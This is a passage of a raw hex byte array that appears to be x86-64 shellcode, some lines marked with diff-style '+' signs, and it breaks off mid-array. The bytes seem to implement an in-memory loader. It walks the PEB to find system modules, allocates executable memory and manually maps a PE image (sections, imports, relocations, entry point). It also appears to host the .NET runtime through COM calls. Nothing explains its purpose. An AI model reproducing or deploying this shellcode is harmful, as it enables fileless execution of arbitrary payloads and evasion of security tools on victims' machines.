0x0f, 0x84, 0x38, 0x01, 0x00, + 0x00, 0x48, 0x8d, 0x8f, 0x04, 0x06, 0x00, 0x00, 0xff, 0x93, 0xb0, 0x00, + 0x00, 0x00, 0x4c, 0x8b, 0xe8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x0d, 0x01, + 0x00, 0x00, 0x49, 0x8b, 0x4e, 0x28, 0x4d, 0x8d, 0x7e, 0x30, 0x4d, 0x8b, + 0xc7, 0x4c, 0x89, 0x7d, 0xa7, 0x49, 0x8b, 0xd4, 0x4c, 0x8b, 0x09, 0x41, + 0xff, 0x91, 0x88, 0x00, 0x00, 0x00, 0x44, 0x8b, 0xf0, 0x85, 0xc0, 0x0f, + 0x88, 0xdd, 0x00, 0x00, 0x00, 0x44, 0x8b, 0x87, 0x04, 0x08, 0x00, 0x00, + 0x45, 0x85, 0xc0, 0x74, 0x7e, 0xb9, 0x0c, 0x00, 0x00, 0x00, 0x33, 0xd2, + 0xff, 0x93, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, + 0x74, 0x69, 0x83, 0x65, 0x77, 0x00, 0x83, 0xbf, 0x04, 0x08, 0x00, 0x00, + 0x00, 0x76, 0x5c, 0x33, 0xc0, 0x44, 0x8d, 0x78, 0x08, 0x8b, 0xc8, 0x48, + 0xc1, 0xe1, 0x09, 0x48, 0x81, 0xc1, 0x08, 0x08, 0x00, 0x00, 0x48, 0x03, + 0xcf, 0xff, 0x93, 0xb0, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x45, 0xd7, 0x66, + 0x44, 0x89, 0x7d, 0xd7, 0x48, 0x8d, 0x55, 0x77, 0x48, 0x89, 0x45, 0xdf, + 0x48, 0x8b, 0xce, 0xff, 0x93, 0x90, 0x00, 0x00, 0x00, 0x44, 0x8b, 0xf0, + 0x85, 0xc0, 0x79, 0x0b, 0x48, 0x8b, 0xce, 0xff, 0x93, 0x98, 0x00, 0x00, + 0x00, 0x33, 0xf6, 0x8b, 0x45, 0x77, 0xff, 0xc0, 0x89, 0x45, 0x77, 0x3b, + 0x87, 0x04, 0x08, 0x00, 0x00, 0x72, 0xae, 0x4c, 0x8b, 0x7d, 0xa7, 0x45, + 0x85, 0xf6, 0x78, 0x4e, 0x49, 0x8b, 0x0f, 0x48, 0x8d, 0x55, 0x07, 0x48, + 0x89, 0x54, 0x24, 0x30, 0x0f, 0x57, 0xc0, 0x48, 0x8d, 0x55, 0xb7, 0x0f, + 0x29, 0x45, 0xb7, 0xf2, 0x0f, 0x10, 0x45, 0x9f, 0x45, 0x33, 0xc9, 0x48, + 0x8b, 0x01, 0x41, 0xb8, 0x18, 0x01, 0x00, 0x00, 0x48, 0x89, 0x74, 0x24, + 0x28, 0x48, 0x89, 0x54, 0x24, 0x20, 0x49, 0x8b, 0xd5, 0xf2, 0x0f, 0x11, + 0x45, 0xc7, 0xff, 0x90, 0xc8, 0x01, 0x00, 0x00, 0x48, 0x85, 0xf6, 0x74, + 0x09, 0x48, 0x8b, 0xce, 0xff, 0x93, 0x98, 0x00, 0x00, 0x00, 0x49, 0x8b, + 0xcd, 0xff, 0x93, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xcc, 0xff, 0x93, + 0xb8, 0x00, 0x00, 0x00, 0x41, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x41, 0x8b, + 0xc4, 0x48, 0x8b, 0x9c, 0x24, 0x48, 0x01, 0x00, 0x00, 0x48, 0x81, 0xc4, + 0x00, 0x01, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, + 0x5f, 0x5e, 0x5d, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x55, 0x56, 0x57, + 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0x6c, 0x24, + 0xd9, 0x48, 0x81, 0xec, 0xe0, 0x00, 0x00, 0x00, 0x83, 0xb9, 0x1c, 0x05, + 0x00, 0x00, 0x01, 0x4c, 0x8d, 0xa9, 0x58, 0x07, 0x00, 0x00, 0xb8, 0x01, + 0x00, 0x00, 0x48, 0x4c, 0x89, 0x6d, 0x67, 0x89, 0x45, 0x8b, 0x4c, 0x8b, + 0xf1, 0x89, 0x45, 0x93, 0x89, 0x45, 0x9b, 0x89, 0x45, 0xa3, 0x89, 0x45, + 0xab, 0x89, 0x45, 0xe7, 0x89, 0x45, 0xff, 0x89, 0x45, 0x07, 0x89, 0x45, + 0x0f, 0x89, 0x45, 0x17, 0xc7, 0x44, 0x24, 0x20, 0x31, 0xc0, 0x48, 0x79, + 0xc7, 0x44, 0x24, 0x24, 0x1b, 0x8b, 0x44, 0x24, 0xc7, 0x44, 0x24, 0x28, + 0x04, 0x8b, 0x4c, 0x24, 0xc7, 0x44, 0x24, 0x2c, 0x08, 0x8b, 0x54, 0x24, + 0xc7, 0x44, 0x24, 0x30, 0x0c, 0x52, 0x81, 0xc2, 0xc7, 0x44, 0x24, 0x34, + 0x00, 0x02, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x38, 0x83, 0xe9, 0x01, 0x75, + 0xc7, 0x45, 0x83, 0xf4, 0xff, 0xd0, 0xc3, 0xc7, 0x45, 0x87, 0x48, 0x81, + 0xec, 0x48, 0xc7, 0x45, 0x8f, 0x89, 0xac, 0x24, 0x30, 0xc7, 0x45, 0x97, + 0x89, 0x9c, 0x24, 0x38, 0xc7, 0x45, 0x9f, 0x89, 0xbc, 0x24, 0x20, 0xc7, + 0x45, 0xa7, 0x89, 0xb4, 0x24, 0x28, 0xc7, 0x45, 0xaf, 0x89, 0xe6, 0x48, + 0x89, 0xc7, 0x45, 0xb3, 0xcf, 0xb8, 0x00, 0x02, 0xc7, 0x45, 0xb7, 0x00, + 0x00, 0x4c, 0x89, 0xc7, 0x45, 0xbb, 0xc1, 0x48, 0x8d, 0x14, 0xc7, 0x45, + 0xbf, 0x01, 0x4c, 0x8d, 0x04, 0xc7, 0x45, 0xc3, 0x02, 0x4d, 0x8d, 0x0c, + 0xc7, 0x45, 0xc7, 0x00, 0x49, 0x8d, 0x1c, 0xc7, 0x45, 0xcb, 0x01, 0x48, + 0x89, 0x9c, 0xc7, 0x45, 0xcf, 0x24, 0x00, 0x01, 0x00, 0xc7, 0x45, 0xd3, + 0x00, 0x48, 0x01, 0xc3, 0xc7, 0x45, 0xd7, 0x48, 0x89, 0x9c, 0x24, 0xc7, + 0x45, 0xdb, 0x08, 0x01, 0x00, 0x00, 0xc7, 0x45, 0xdf, 0x48, 0x01, 0xc3, + 0x48, 0xc7, 0x45, 0xe3, 0x89, 0x9c, 0x24, 0x10, 0xc7, 0x45, 0xeb, 0x01, + 0xc3, 0x48, 0x89, 0xc7, 0x45, 0xef, 0x9c, 0x24, 0x18, 0x01, 0xc7, 0x45, + 0xf3, 0x00, 0x00, 0xff, 0xd7, 0xc7, 0x45, 0xf7, 0x48, 0x89, 0xf4, 0x48, + 0xc7, 0x45, 0xfb, 0x8b, 0xb4, 0x24, 0x28, 0xc7, 0x45, 0x03, 0x8b, 0xbc, + 0x24, 0x20, 0xc7, 0x45, 0x0b, 0x8b, 0x9c, 0x24, 0x38, 0xc7, 0x45, 0x13, + 0x8b, 0xac, 0x24, 0x30, 0xc7, 0x45, 0x1b, 0x81, 0xc4, 0x48, 0x01, 0xc7, + 0x45, 0x1f, 0x00, 0x00, 0xc3, 0x00, 0x74, 0x08, 0x4d, 0x8b, 0x6d, 0x00, + 0x4c, 0x89, 0x6d, 0x67, 0x49, 0x8d, 0xb5, 0x18, 0x19, 0x00, 0x00, 0x33, + 0xc9, 0x48, 0x63, 0x7e, 0x3c, 0x48, 0x03, 0xfe, 0x48, 0x89, 0x7d, 0x6f, + 0x41, 0xff, 0x56, 0x40, 0x48, 0x89, 0x45, 0x77, 0x48, 0x63, 0x48, 0x3c, + 0x0f, 0xb7, 0x54, 0x01, 0x04, 0x66, 0x39, 0x57, 0x04, 0x0f, 0x85, 0x13, + 0x03, 0x00, 0x00, 0x8b, 0x57, 0x50, 0x33, 0xc9, 0xb8, 0x00, 0x10, 0x00, + 0x00, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x03, 0xd0, 0x44, 0x8d, 0x49, + 0x40, 0x41, 0xff, 0x56, 0x48, 0x45, 0x33, 0xe4, 0x48, 0x8b, 0xd8, 0x48, + 0x85, 0xc0, 0x0f, 0x84, 0xea, 0x02, 0x00, 0x00, 0x44, 0x8b, 0x47, 0x54, + 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xc8, 0xe8, 0x59, 0x0a, 0x00, 0x00, 0x44, + 0x0f, 0xb7, 0x7f, 0x14, 0x33, 0xc0, 0x4c, 0x03, 0xff, 0x66, 0x3b, 0x47, + 0x06, 0x73, 0x2d, 0x41, 0x8b, 0xc4, 0x48, 0x8d, 0x0c, 0x80, 0x41, 0x8b, + 0x54, 0xcf, 0x2c, 0x45, 0x8b, 0x44, 0xcf, 0x28, 0x48, 0x03, 0xd6, 0x41, + 0x8b, 0x4c, 0xcf, 0x24, 0x48, 0x03, 0xcb, 0xe8, 0x28, 0x0a, 0x00, 0x00, + 0x0f, 0xb7, 0x47, 0x06, 0x41, 0xff, 0xc4, 0x44, 0x3b, 0xe0, 0x72, 0xd3, + 0x8b, 0x87, 0x90, 0x00, 0x00, 0x00, 0x45, 0x33, 0xff, 0x85, 0xc0, 0x74, + 0x6a, 0x48, 0x8d, 0x34, 0x03, 0x8b, 0x46, 0x0c, 0x85, 0xc0, 0x74, 0x5f, + 0x8b, 0xc8, 0x48, 0x03, 0xcb, 0x41, 0xff, 0x56, 0x30, 0x44, 0x8b, 0x3e, + 0x4c, 0x8b, 0xe8, 0x44, 0x8b, 0x66, 0x10, 0x4c, 0x03, 0xfb, 0x4c, 0x03, + 0xe3, 0xeb, 0x26, 0x49, 0x8b, 0x46, 0x38, 0x48, 0x85, 0xc9, 0x79, 0x05, + 0x0f, 0xb7, 0xd1, 0xeb, 0x07, 0x48, 0x8d, 0x51, 0x02, 0x48, 0x03, 0xd3, + 0x49, 0x8b, 0xcd, 0xff, 0xd0, 0x49, 0x83, 0xc7, 0x08, 0x49, 0x89, 0x04, + 0x24, 0x49, 0x83, 0xc4, 0x08, 0x49, 0x8b, 0x0f, 0x48, 0x85, 0xc9, 0x75, + 0xd2, 0x8b, 0x46, 0x20, 0x48, 0x83, 0xc6, 0x14, 0x85, 0xc0, 0x75, 0xac, + 0x48, 0x8b, 0x7d, 0x6f, 0x45, 0x33, 0xff, 0x4c, 0x8b, 0x6d, 0x67, 0x8b, + 0x87, 0xf0, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x6c, 0x48, 0x8d, 0x70, + 0x04, 0x48, 0x03, 0xf3, 0x8b, 0x06, 0x85, 0xc0, 0x74, 0x5f, 0x8b, 0xc8, + 0x48, 0x03, 0xcb, 0x41, 0xff, 0x56, 0x30, 0x44, 0x8b, 0x7e, 0x0c, 0x4c, + 0x8b, 0xe8, 0x44, 0x8b, 0x66, 0x08, 0x4c, 0x03, 0xfb, 0x4c, 0x03, 0xe3, + 0xeb, 0x26, 0x49, 0x8b, 0x46, 0x38, 0x48, 0x85, 0xc9, 0x79, 0x05, 0x0f, + 0xb7, 0xd1, 0xeb, 0x07, 0x48, 0x8d, 0x51, 0x02, 0x48, 0x03, 0xd3, 0x49, + 0x8b, 0xcd, 0xff, 0xd0, 0x49, 0x83, 0xc7, 0x08, 0x49, 0x89, 0x04, 0x24, + 0x49, 0x83, 0xc4, 0x08, 0x49, 0x8b, 0x0f, 0x48, 0x85, 0xc9, 0x75, 0xd2, + 0x48, 0x83, 0xc6, 0x20, 0x8b, 0x06, 0x85, 0xc0, 0x75, 0xac, 0x48, 0x8b, + 0x7d, 0x6f, 0x45, 0x33, 0xff, 0x4c, 0x8b, 0x6d, 0x67, 0x8b, 0x87, 0xb0, + 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x77, 0x48, 0x8b, 0xf3, 0x4c, 0x8d, + 0x0c, 0x03, 0x48, 0x2b, 0x77, 0x30, 0x45, 0x39, 0x39, 0x74, 0x67, 0x41, + 0xbc, 0x00, 0x10, 0x00, 0x00, 0x4d, 0x8d, 0x51, 0x08, 0xeb, 0x47, 0x41, + 0x0f, 0xb7, 0x02, 0xb9, 0x00, 0xf0, 0x00, 0x00, 0x44, 0x0f, 0xb7, 0xd8, + 0x66, 0x23, 0xc1, 0xb9, 0x00, 0xa0, 0x00, 0x00, 0x66, 0x3b, 0xc1, 0x75, + 0x1f, 0x45, 0x8b, 0x01, 0x41, 0x81, 0xe3, 0xff, 0x0f, 0x00, 0x00, 0x4b, + 0x8d, 0x04, 0x03, 0x48, 0x8b, 0x14, 0x18, 0x4b, 0x8d, 0x04, 0x03, 0x48, + 0x03, 0xd6, 0x48, 0x89, 0x14, 0x18, 0xeb, 0x0a, 0x66, 0x45, 0x3b, 0xdc, + 0x0f, 0x83, 0x39, 0x01, 0x00, 0x00, 0x49, 0x83, 0xc2, 0x02, 0x41, 0x8b, + 0x41, 0x04, 0x49, 0x03, 0xc1, 0x4c, 0x3b, 0xd0, 0x75, 0xad, 0x4d, 0x8b, + 0xca, 0x45, 0x39, 0x3a, 0x75, 0x9f, 0x8b, 0x87, 0xd0, 0x00, 0x00, 0x00, + 0x85, 0xc0, 0x74, 0x24, 0x48, 0x8b, 0x74, 0x18, 0x18, 0x48, 0x85, 0xf6, + 0x74, 0x1a, 0xeb, 0x10, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xcb, 0x41, 0x8d, + 0x50, 0x01, 0xff, 0xd0, 0x48, 0x8d, 0x76, 0x08, 0x48, 0x8b, 0x06, 0x48, + 0x85, 0xc0, 0x75, 0xe8, 0x8b, 0x47, 0x28, 0x48, 0x03, 0xc3, 0x41, 0x83, + 0x7d, 0x00, 0x03, 0x0f, 0x85, 0xe0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4d, + 0x77, 0x45, 0x33, 0xc0, 0x41, 0x8d, 0x50, 0x01, 0xff, 0xd0, 0x49, 0x8d, + 0x95, 0x04, 0x06, 0x00, 0x00, 0x48, 0x89, 0x55, 0x6f, 0x66, 0x44, 0x39, + 0x3a, 0x0f, 0x84, 0xc0, 0x00, 0x00, 0x00, 0x8b, 0x87, 0x88, 0x00, 0x00, + 0x00, 0x85, 0xc0, 0x0f, 0x84, 0xb2, 0x00, 0x00, 0x00, 0x48, 0x03, 0xc3, + 0x8b, 0x78, 0x18, 0x85, 0xff, 0x0f, 0x84, 0xa4, 0x00, 0x00, 0x00, 0x8b, + 0x70, 0x1c, 0x44, 0x8b, 0x60, 0x20, 0x48, 0x03, 0xf3, 0x44, 0x8b, 0x78, + 0x24, 0x4c, 0x03, 0xe3, 0x4c, 0x03, 0xfb, 0xff, 0xcf, 0x41, 0x8b, 0x0c, + 0xbc, 0x48, 0x03, 0xcb, 0xe8, 0x6b, 0x05, 0x00, 0x00, 0x33, 0xc9, 0x85, + 0xc0, 0x74, 0x0a, 0x85, 0xff, 0x74, 0x78, 0x48, 0x8b, 0x55, 0x6f, 0xeb, + 0xe2, 0x41, 0x0f, 0xb7, 0x04, 0x7f, 0x8b, 0x34, 0x86, 0x48, 0x03, 0xf3, + 0x74, 0x65, 0x41, 0xb9, 0x40, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x30, + 0x00, 0x00, 0x45, 0x8d, 0x79, 0x7c, 0x41, 0x8b, 0xd7, 0x41, 0xff, 0x56, + 0x48, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x46, 0x45, 0x8b, 0xc7, + 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xc8, 0xe8, 0xc3, 0x07, 0x00, + 0x00, 0x48, 0x8b, 0x45, 0x67, 0x48, 0x8b, 0xce, 0x8b, 0x90, 0x04, 0x08, + 0x00, 0x00, 0x4c, 0x8d, 0x80, 0x08, 0x08, 0x00, 0x00, 0xff, 0xd7, 0x45, + 0x8b, 0xc7, 0x33, 0xd2, 0x48, 0x8b, 0xcf, 0xe8, 0xc0, 0x07, 0x00, 0x00, + 0x33, 0xd2, 0x41, 0xb8, 0x00, 0xc0, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0x41, + 0xff, 0x56, 0x50, 0xeb, 0x02, 0xff, 0xd0, 0x33, 0xd2, 0x41, 0xb8, 0x00, + 0xc0, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x41, 0xff, 0x56, 0x50, 0x48, 0x8b, + 0x9c, 0x24, 0x38, 0x01, 0x00, 0x00, 0x48, 0x81, 0xc4, 0xe0, 0x00, 0x00, + 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0x5e, 0x5d, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x18, 0x48, 0x89, 0x74, + 0x24, 0x20, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8d, 0xac, 0x24, 0xd0, 0xfe, + 0xff, 0xff, 0x48, 0x81, 0xec, 0x30, 0x02, 0x00, 0x00, 0x83, 0xb9, 0x1c, + 0x05, 0x00, 0x00, 0x01, 0x48, 0x8d, 0x99, 0x58, 0x07, 0x00, 0x00, 0x48, + 0x8b, 0xf1, 0x74, 0x03, 0x48, 0x8b, 0x1b, 0x48, 0x8b, 0x91, 0x50, 0x07, + 0x00, 0x00, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x33, 0xc9, 0x48, 0x8d, + 0x14, 0x55, 0x02, 0x00, 0x00, 0x00, 0x44, 0x8d, 0x49, 0x04, 0xff, 0x56, + 0x48, 0x4c, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x6f, 0x02, 0x00, + 0x00, 0x8b, 0x8b, 0x10, 0x19, 0x00, 0x00, 0x4c, 0x8d, 0x83, 0x18, 0x19, + 0x00, 0x00, 0x03, 0xc9, 0x41, 0x83, 0xc9, 0xff, 0x89, 0x4c, 0x24, 0x28, + 0x33, 0xd2, 0x33, 0xc9, 0x48, 0x89, 0x44, 0x24, 0x20, 0xff, 0x56, 0x70, + 0x83, 0x65, 0xe8, 0x00, 0x48, 0x8d, 0x45, 0x80, 0x83, 0x65, 0xf8, 0x00, + 0x48, 0x8d, 0x55, 0x08, 0x48, 0x89, 0x45, 0xe0, 0x48, 0x8b, 0xce, 0x48, + 0x8d, 0x05, 0x9e, 0xe9, 0xff, 0xff, 0x48, 0x89, 0x75, 0x38, 0x48, 0x89, + 0x45, 0x80, 0x48, 0x8d, 0x05, 0x23, 0xe8, 0xff, 0xff, 0x48, 0x89, 0x45, + 0x88, 0x48, 0x8d, 0x05, 0x80, 0xe8, 0xff, 0xff, 0x48, 0x89, 0x45, 0x90, + 0x48, 0x8d, 0x05, 0xfd, 0xe8, 0xff, 0xff, 0x48, 0x89, 0x45, 0x98, 0x48, + 0x8d, 0x05, 0x7a, 0xe8, 0xff, 0xff, 0x48, 0x89, 0x45, 0xa0, 0x48, 0x8d, + 0x05, 0x6b, 0xe8, 0xff, 0xff, 0x48, 0x89, 0x45, 0xa8, 0x48, 0x8d, 0x05, + 0x60, 0xe8, 0xff, 0xff, 0x48, 0x89, 0x45, 0xb0, 0x48, 0x8d, 0x05, 0x55, + 0xe8, 0xff, 0xff, 0x48, 0x89, 0x45, 0xb8, 0x48, 0x8d, 0x05, 0xe2, 0xe8, + 0xff, 0xff, 0x48, 0x89, 0x45, 0xc0, 0x48, 0x8d, 0x05, 0x3f, 0xe8, 0xff, + 0xff, 0x48, 0x89, 0x45, 0xc8, 0x48, 0x8d, 0x05, 0x34, 0xe8, 0xff, 0xff, + 0x48, 0x89, 0x45, 0xd0, 0x48, 0x8d, 0x44, 0x24, 0x50, 0x48, 0x89, 0x45, + 0xf0, 0x48, 0x8d, 0x05, 0xbc, 0xe7, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24, + 0x50, 0x48, 0x8d, 0x05, 0xa0, 0xe7, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24, + 0x58, 0x48, 0x8d, 0x05, 0xfc, 0xe7, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24, + 0x60, 0x48, 0x8d, 0x05, 0x90, 0xe7, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24, + 0x68, 0x48, 0x8d, 0x05, 0x84, 0xe7, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24, + 0x70, 0x48, 0x8d, 0x45, 0x40, 0x48, 0x89, 0x45, 0x08, 0x48, 0x89, 0x75, + 0x00, 0xe8, 0x92, 0xf1, 0xff, 0xff, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x96, + 0x20, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0x29, 0x01, 0x00, 0x00, + 0x33, 0xd2, 0x48, 0x8d, 0x85, 0x50, 0x01, 0x00, 0x00, 0x4c, 0x8d, 0x8e, + 0x9c, 0x04, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8d, 0x8e, + 0x7c, 0x04, 0x00, 0x00, 0x44, 0x8d, 0x42, 0x03, 0xff, 0x96, 0x28, 0x01, + 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0xfb, 0x00, 0x00, 0x00, 0x48, 0x8b, + 0x8d, 0x50, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x96, 0xdc, 0x04, 0x00, 0x00, + 0x4c, 0x8d, 0x85, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x10, + 0x85, 0xc0, 0x0f, 0x85, 0xbf, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8d, 0x58, + 0x01, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x18, 0x85, 0xc0, 0x0f, + 0x85, 0x9d, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8d, 0x50, 0x01, 0x00, 0x00, + 0x48, 0x8d, 0x55, 0xe0, 0x48, 0x89, 0x4d, 0x20, 0x48, 0x8b, 0x01, 0xff, + 0x50, 0x18, 0x85, 0xc0, 0x0f, 0x85, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, + 0x8e, 0xcc, 0x03, 0x00, 0x00, 0xff, 0x96, 0xb0, 0x00, 0x00, 0x00, 0x48, + 0x8b, 0x8d, 0x50, 0x01, 0x00, 0x00, 0x41, 0xb8, 0x02, 0x00, 0x00, 0x00, + 0x48, 0x8b, 0xd0, 0x48, 0x8b, 0xf8, 0x4c, 0x8b, 0x09, 0x41, 0xff, 0x51, + 0x40, 0x48, 0x8b, 0xcf, 0x8b, 0xd8, 0xff, 0x96, 0xb8, 0x00, 0x00, 0x00, + 0x85, 0xdb, 0x75, 0x4a, 0x48, 0x83, 0x64, 0x24, 0x48, 0x00, 0x45, 0x33, + 0xc9, 0x48, 0x83, 0x64, 0x24, 0x40, 0x00, 0x45, 0x33, 0xc0, 0x21, 0x5c, + 0x24, 0x38, 0x49, 0x8b, 0xd6, 0x48, 0x8b, 0x8d, 0x58, 0x01, 0x00, 0x00, + 0x21, 0x5c, 0x24, 0x30, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x48, 0x83, + 0x64, 0x24, 0x20, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x28, 0x85, 0xc0, + 0x75, 0x10, 0x48, 0x8b, 0x8d, 0x50, 0x01, 0x00, 0x00, 0x8d, 0x53, 0x02, + 0x48, 0x8b, 0x01, 0xff, 0x50, 0x28, 0x48, 0x8b, 0x8d, 0x58, 0x01, 0x00, + 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x8b, 0x8d, 0x50, 0x01, + 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x38, 0x48, 0x8b, 0x8d, 0x50, + 0x01, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x4c, 0x8b, 0x86, + 0x50, 0x07, 0x00, 0x00, 0x33, 0xd2, 0x49, 0x8b, 0xce, 0x4e, 0x8d, 0x04, + 0x45, 0x02, 0x00, 0x00, 0x00, 0xe8, 0xc2, 0x04, 0x00, 0x00, 0x33, 0xd2, + 0x41, 0xb8, 0x00, 0xc0, 0x00, 0x00, 0x49, 0x8b, 0xce, 0xff, 0x56, 0x50, + 0x4c, 0x8d, 0x9c, 0x24, 0x30, 0x02, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x30, + 0x49, 0x8b, 0x73, 0x38, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x5f, 0x5d, 0xc3, + 0x40, 0x53, 0x55, 0x56, 0x57, 0x48, 0x83, 0xec, 0x38, 0x83, 0xb9, 0x1c, + 0x05, 0x00, 0x00, 0x01, 0x48, 0x8d, 0xb9, 0x58, 0x07, 0x00, 0x00, 0x48, + 0x8b, 0xd9, 0x74, 0x03, 0x48, 0x8b, 0x3f, 0x48, 0x8b, 0x91, 0x50, 0x07, + 0x00, 0x00, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x33, 0xc9, 0x48, 0x8d, + 0x14, 0x55, 0x02, 0x00, 0x00, 0x00, 0x44, 0x8d, 0x49, 0x04, 0xff, 0x53, + 0x48, 0x33, 0xed, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xf3, + 0x00, 0x00, 0x00, 0x8b, 0x8f, 0x10, 0x19, 0x00, 0x00, 0x4c, 0x8d, 0x87, + 0x18, 0x19, 0x00, 0x00, 0x03, 0xc9, 0x41, 0x83, 0xc9, 0xff, 0x89, 0x4c, + 0x24, 0x28, 0x33, 0xd2, 0x33, 0xc9, 0x48, 0x89, 0x44, 0x24, 0x20, 0xff, + 0x53, 0x70, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x93, 0x20, 0x01, 0x00, 0x00, + 0x85, 0xc0, 0x0f, 0x85, 0x97, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x44, 0x24, + 0x68, 0x33, 0xd2, 0x4c, 0x8d, 0x8b, 0xfc, 0x04, 0x00, 0x00, 0x48, 0x89, + 0x44, 0x24, 0x20, 0x48, 0x8d, 0x8b, 0xec, 0x04, 0x00, 0x00, 0x44, 0x8d, + 0x45, 0x01, 0xff, 0x93, 0x28, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x69, + 0x48, 0x8b, 0x4c, 0x24, 0x68, 0x4c, 0x8d, 0x44, 0x24, 0x60, 0x48, 0x8b, + 0xd6, 0x48, 0x8b, 0x01, 0xff, 0x90, 0x08, 0x02, 0x00, 0x00, 0x85, 0xc0, + 0x75, 0x44, 0x66, 0x39, 0x6c, 0x24, 0x60, 0x74, 0x3d, 0x48, 0x8b, 0x4c, + 0x24, 0x68, 0x48, 0x8d, 0x93, 0x0c, 0x05, 0x00, 0x00, 0x4c, 0x8d, 0x44, + 0x24, 0x70, 0x48, 0x8b, 0x01, 0xff, 0x10, 0x85, 0xc0, 0x75, 0x23, 0x48, + 0x8b, 0x4c, 0x24, 0x68, 0x4c, 0x8d, 0x44, 0x24, 0x78, 0x48, 0x8b, 0x54, + 0x24, 0x70, 0x48, 0x8b, 0x01, 0xff, 0x90, 0x18, 0x01, 0x00, 0x00, 0x48, + 0x8b, 0x4c, 0x24, 0x70, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x8b, + 0x4c, 0x24, 0x68, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0xff, 0x93, 0x30, + 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x83, 0x50, 0x07, 0x00, 0x00, 0x33, 0xd2, + 0x48, 0x8b, 0xce, 0x4e, 0x8d, 0x04, 0x45, 0x02, 0x00, 0x00, 0x00, 0xe8, + 0x6c, 0x03, 0x00, 0x00, 0x33, 0xd2, 0x41, 0xb8, 0x00, 0xc0, 0x00, 0x00, + 0x48, 0x8b, 0xce, 0xff, 0x53, 0x50, 0x48, 0x83, 0xc4, 0x38, 0x5f, 0x5e, + 0x5d, 0x5b, 0xc3, 0xcc, 0x41, 0xc7, 0x00, 0x01, 0x00, 0x00, 0x00, 0x33, + 0xc0, 0xc3, 0xcc, 0xcc, 0x2b, 0xca, 0x8b, 0xc1, 0xc3, 0xcc, 0xcc, 0xcc, + 0x44, 0x8b, 0xc2, 0x8b, 0xc1, 0x99, 0x41, 0xf7, 0xf8, 0xc3, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, + 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20, 0x65, 0x48, 0x8b, 0x04, + 0x25, 0x60, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xf8, 0x48, 0x8b, 0xf2, 0x48, + 0x8b, 0xe9, 0x45, 0x33, 0xd2, 0x4c, 0x8b, 0x48, 0x18, 0x49, 0x8b, 0x59, + 0x10, 0xeb, 0x1c, 0x4d, 0x85, 0xd2, 0x75, 0x20, 0x4c, 0x8b, 0xcf, 0x4c, + 0x8b, 0xc6, 0x48, 0x8b, 0xd0, 0x48, 0x8b, 0xcd, 0xe8, 0x1f, 0xeb, 0xff, + 0xff, 0x48, 0x8b, 0x1b, 0x4c, 0x8b, 0xd0, 0x48, 0x8b, 0x43, 0x30, 0x48, + 0x85, 0xc0, 0x75, 0xdb, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x49, 0x8b, 0xc2, + 0x48, 0x8b, 